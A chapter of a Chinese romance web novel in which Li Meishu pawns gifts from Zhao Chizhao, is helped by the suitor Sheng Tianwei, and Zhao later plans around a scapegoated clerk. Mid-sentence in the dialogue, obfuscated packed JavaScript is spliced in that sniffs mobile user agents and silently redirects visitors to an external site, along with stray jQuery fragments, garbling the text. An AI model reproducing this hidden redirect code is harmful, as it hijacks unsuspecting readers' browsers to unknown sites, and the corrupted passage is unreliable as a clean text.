千红站在一旁,看着李媚姝左右为难的样子,忍不住劝道:
“小姐,要不还是算了吧。”
“那怎么行,都答应人家了。”李媚姝拣着地上的东西,让千红装好,最后仅留下从京城带来的那件粉色罗裙,还有赵驰昭送的玉佩与步摇。
李媚姝捧着那件粉色罗裙,回想道当初赵驰昭送给她的时候,那时候二人的关系生疏的很,都是李媚姝主动去找到赵驰昭,那还是他第一次主动上门,却是为了别人。
想到这,李媚姝不免疑惑起来,初次见到赵驰昭之时她通过其身上的玉佩断定对方身份不凡,便心生拉拢之意好让自己未来有个生还的机会,但近半年的时间里,赵驰昭始终以一个江湖之人自居,却又一直与官家人接触,无论是周庆的江吉原还是常州的孙晓,似乎都对他恭敬有加。
想到当初在周庆时,在山寨上江吉原看到赵驰昭的反应以及脱口而出的话,让李媚姝不得不开始怀疑对方的真实身份。
不会是什么王爷权臣之类的,在这里逗我玩吧?
李媚姝越想越觉得后怕,感觉自己有些玩脱了。但想到赵驰昭对自己的那些举动,又将前面的顾虑一扫而空,干脆不再去斟酌此事,起身道:
“管他什么官呢,送了我就是我的东西,大不了以后慢慢赎回来就是了。”
李媚姝想着自己的漫画在京城颇受欢迎,在常州应该不会差到哪里去,便带着千红拿着东西到当铺里去。
一进当铺,前台掌柜打量了李媚姝一番,见她身着华贵才自柜台后走出,笑道:
“不知小姐是要典当什么东西?别的不说,在常州,我们家给的价钱可是最高的!”
看着当铺掌柜圆溜溜的眼睛,一看就是十分的圆滑老练,于是李媚姝先问道:
“掌柜的,早就听闻你这当铺的盛名,所以才将东西拿来你这,就是不知道你这里能不能收下这些东西了。”
当初她打听当铺之时,最先看中的就是这家,不仅是因为此店规模大,能保证足够的资金,更重要的是,它的赎期长,是别家比不了的。
“哈哈哈,小姐第一次来吧,不妨先让我看看货如何?”
李媚姝示意千红将东西放在桌上,待掌柜的仔细看过之后,有些犹豫。提溜了两圈眼睛,最后语带歉意说道:
“小姐这些东西乃是上品,只是来的时间不巧,若是放在以前,本店绝对能收下这些东西,只是现在……”
“掌柜这是何意?难不成收不了我这些东西吗?”,李媚姝一听有些急了,这可是她能想到的在短时间内最快凑够钱的手段了。
“非也非也,小姐这些东西能是能,只不过要多加一成的利息。”
“什么?”李媚姝猛地站起,多加一成利息,让原本三成的利息变为四成,这笔买卖怎么算都是亏的。
“我们这也是不得已,最近店里银两紧张,一下子要拨出那么多银子给小姐,那我们日后该怎么经营下去,小姐说,是不是这个理?”,掌柜笑眯眯地看着李媚姝,让她不由得毛骨悚然,开始盘算起这桩买卖。
就在双方僵持不下的时候,门外传进来一道异常熟悉的声音:
“孙叔,银子备好没有?”
人未到声先行,李媚姝往门口望去,就见盛天维跨门走进,眼角一抽,腹诽道:
怎么这也能碰上?
盛天维也没想到能在这里遇见李媚姝,回过神来立马凑上前,惊喜道:
“李小姐,你怎么在这?是来找我的吗?”
“见过盛公子。”李媚姝语气淡淡,“盛公子误会了,媚儿来此是要典当些东西。”
盛天维看了看桌上的东西,随即摆出怒意,扬声道:
“李小姐为何要典当这些东西,是不是那厮又来找你要钱了?我不是告诉过你吗,那厮不是什么好东西,你怎么这么执迷不悟呢?”
李媚姝自然清楚盛天维口中所说的人是谁,感到又好笑有心虚,且不说赵驰昭从未向自己要过一分钱,相反这些东西还全是他送来。
“盛公子慎言。”
盛天维看着李媚姝一副不愿相信的模样,眉头皱得更紧,声音比原先的还要大上几分:
“李小姐,都这样了你还护着她,你待在家久了呆傻了吧?像他那样的人,我盛天维究竟哪里比不上他,你嫁到我盛家来,何愁这些琐事,怎么轮到做这些有别于身份的事!”
李媚姝一听也恼了,不是,你怎么还骂人呢?我脑子不知道比你好用多少倍,就你这样的,放我们那过年都得藏好了,还在这里说我呢,怕不是投胎的时候脑子用在眼睛上了吧。
“不劳公子费心,掌柜的,这四成利息太高了,我还是换别家吧。”
说着,李媚姝让千红收好东西就要走,盛天维见李媚姝如此冥顽不灵,立即满脸涨红,但很快又被她口中所说的四成利息起了疑,转头问道:
“孙叔,咱们家不是一直是三成利息吗?何时又变成四成了?”
孙掌柜一看自己公子与李媚姝关系匪浅,便开始有些慌张,支支吾吾地将缘由说了出来。盛天维一听,立马慷慨地说道:
“李小姐留步,虽不知你为什么会对那种人情有独钟,但是我相信有一天你一定会醒悟过来,我会一直等你。你这些东西就放在这里,没有赎期,什么时候想回来拿都可以,而就收你三成利息。”
李媚姝一喜,方才被冒犯的怒意也少了几分,孙掌柜在后面苦苦相劝,原本店里就因为他的花天酒地开始有些入不敷出,现在好不容易盼来一个冤大头,还被他放跑了。
“孙叔,你不必劝我,就这么定了。”盛天维蹙眉看着身后叫苦不迭的孙掌柜,不悦道,随即又往李媚姝身上凑了凑,笑道:
“若是小姐成为盛夫人,这些东西只要你开口,就能原封不动地拿回去,如何?”
李媚姝勉强维持着脸上的笑,往后退了一步,说道:
“多谢盛公子好意,不知掌柜的意下如何?”
盛天维一看李媚姝并没有要考虑的意思,一心只想着怎么当掉这些东西,不免有些恼怒,对着孙掌柜道:
“孙叔,就按我说的做。”
孙掌柜心里虽十分不愿,但主人发话了他这个做下人的也只有遵从的份。拿了当票和银子,马不停蹄地往书铺赶。
高勤见了李媚姝,先是一惊,但很快就与李媚姝到官府内将地契一事办好,心中石头落地,李媚姝走出官府,暗暗松了一口气。
回到书铺,李媚姝将地契交还给高勤。高勤手上捏着地契,深吸一口气,从盒子里拿出一半银两推给李媚姝,说道:
“小姐大恩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594828|204243||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,高勤无以回报。这些银子,就请小姐拿回去吧。”
“这怎么能行,夫人家里……”
“无妨!”李媚姝还没说完,高勤就厉声打断。
“那群人贪得无厌,此番我就是要告诉他们,这铺子我就是烂在手里,也绝不可能交给他们。这些银子,权当是回报他们对我丈夫的养育之恩,自此,我们娘俩与他们再无关系。”
“夫人……”李媚姝不知如何安慰,眼看高勤如此决绝,竟生出一股敬佩来。这样的勇气,是自己从未有过的。
李媚姝眼里闪过一丝忧伤,很快又恢复下来,仍推辞道:
“夫人还是将这些银子收下吧,也好有个保证。”
“小姐不必担忧,我的保证在这呢。”高勤拍了拍剩下的银子,“怎么能让那群人占那么大的便宜,我能给他们银子,已经给足了他们面子。”
李媚姝见她心意已决,便不好再多说什么,只好将银子收下。二人商议了画册的售卖之事后,她就又来到当铺将自己的一些心头之好赎回。了却了一桩心事,李媚姝喜滋滋地回了孙府。
回到府中,李媚姝这才想起来在买下书铺的过程中遇到了孙晓,且被对方知晓了自己当时在做什么,不免有些担忧对方会不会将此事告诉赵驰昭。
但她转念一想,自己只不过告诉对方银子是她当来的,想必孙晓也不会猜到是当的赵驰昭送的东西吧,毕竟二人交谈时,孙晓都不在现场。
不过,李媚姝还是低估了孙晓。
他先是去查了常州的当铺,而后去了高勤的书铺,在得知真相后,孙晓并未对高勤做出任何表示,只是将地契放回高勤手上,自顾自地离去了,弄得身后的高勤忐忑不安。
孙晓回到官府直奔赵驰昭居所,但一路上都在考虑是否要将此事告知赵驰昭,走近时,就看到赵驰昭与赫业竹都沉着脸,顿感不安。
果然,在走进时,赵驰昭就将盐场遇到的事情一一告诉了孙晓,还拿出名录让他回去核实。孙晓接过名录,随即想到什么,说道:
“王爷,不久前盐铁巡院突发大火,杨大人查不到凶手,便认定管理文卷室的小吏是凶手。而这段时间已经有好几人连夜离开常州,不过应该不会走的太远。”
“这么快?”赵驰昭诧异道。杨丰年动作之快是让他没想到的,但很快他又想起当晚最后离开的那人,追问道:
“走了几人?”
“目前已经三人。”
“三人。”赵驰昭回想文卷室的布局,共有六个位置,也就是说有六个人替杨丰年抄录。
赵驰昭又想到当晚最后从文卷室出来的那个人,目光一沉,说道:
“孙主簿,那被关押的小吏,长什么样?”
孙晓将那人的长相大致与赵驰昭说了说。赵驰昭沉默着,渐渐勾起一抹笑,说道:
“杨丰年还是帮我一个大忙啊。”
孙晓不解,问其何意?
赵驰昭淡淡说道:
“杨丰年害怕事情暴露又抓不到人,但是文书都被烧毁了他自然得找个替罪羊。那么当晚最后走的那个自然就成了众矢之的。其余人害怕被牵连,自然都连夜逃跑,而这个被关在牢里的,就是我们最好的证据。”
赵驰昭望了望屋外,起身说道:
“要下大雨了。”